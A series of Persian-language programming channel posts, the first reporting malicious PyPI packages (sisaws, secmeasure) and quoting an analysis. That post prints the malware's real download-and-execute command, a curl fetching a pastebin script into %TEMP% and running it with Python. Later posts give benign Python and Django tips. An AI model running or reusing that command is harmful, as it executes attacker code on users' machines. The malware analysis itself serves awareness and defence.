دوتا کتابخونه sisaws و secmeasure که هکر‌ها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI

یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد

If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.

curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

نکته:‌به هیچ‌وجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.

کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.

#python #malware #code_analysis

🌌 @the_code_Verse 🪐

اگه موقع import کردن یه ماژول بتونی قبل از استفاده، ویژگی دلخواهت رو بهش بچسبونی چی؟ 🔥🐍

در پایتون فقط import ساده وجود نداره؛ می‌شه فرآیند import رو شخصی‌سازی کرد. مثلاً قبل از اینکه ماژول آماده استفاده بشه، می‌تونیم یک attribute جدید بهش اضافه کنیم تا بعد از import کردن، همون ویژگی دلخواه از همون اول در دسترس باشه.

🌌 @the_code_Verse 🪐

می‌دونی توی Django تراکنش‌ها چطور مدیریت می‌شن و چه وقت باید سراغ atomic رفت؟ ⚡️💾

جنگو برای حفظ یکپارچگی داده‌ها از سیستم transaction پایگاه‌داده استفاده می‌کنه. این مکانیزم باعث می‌شه مجموعه‌ای از عملیات یا همه با هم انجام بشن یا هیچ‌کدوم. وقتی می‌خوای چند query رو تضمین کنی که یا کامل موفق بشن یا در صورت خطا همه برگردن، باید از atomic() استفاده کنی.

🌌 @the_code_Verse 🪐

تا حالا برات پیش اومده که توی چندارث‌بری پایتون، super() رفتارش عجیب بشه؟ 🌀🐍

در پایتون وقتی از چند ارث‌بری استفاده می‌کنیم، ترتیب جستجوی متدها با الگوریتمی به اسم MRO (Method Resolution Order) مشخص می‌شه. این ترتیب همیشه خطی و مشخصه، ولی توی ساختارهای پیچیده ممکنه super() رفتاری غیرمنتظره نشون بده؛ مثلاً وقتی سه کلاس درگیر زنجیره ارث‌بری هستن و متدی از یکی از اون‌ها به شکل غیرمستقیم صدا زده می‌شه.


🌌 @the_code_Verse 🪐

تا حالا خواستی توی Django یه فیلد محاسباتی به QuerySet اضافه کنی بدون اینکه توی دیتابیس ذخیره بشه؟ ⚡️

جنگو قابلیتی داره به اسم query annotation که به ما اجازه می‌ده موقع ساخت QuerySet، ستون‌های محاسباتی مثل جمع، میانگین یا شرط‌های خاص رو به نتایج اضافه کنیم؛ بدون اینکه این فیلدها واقعاً در جدول پایگاه‌داده وجود داشته باشن. این کار ابزار قدرتمندی برای گزارش‌گیری و پردازش داده‌هاست.

🌌 @the_code_Verse 🪐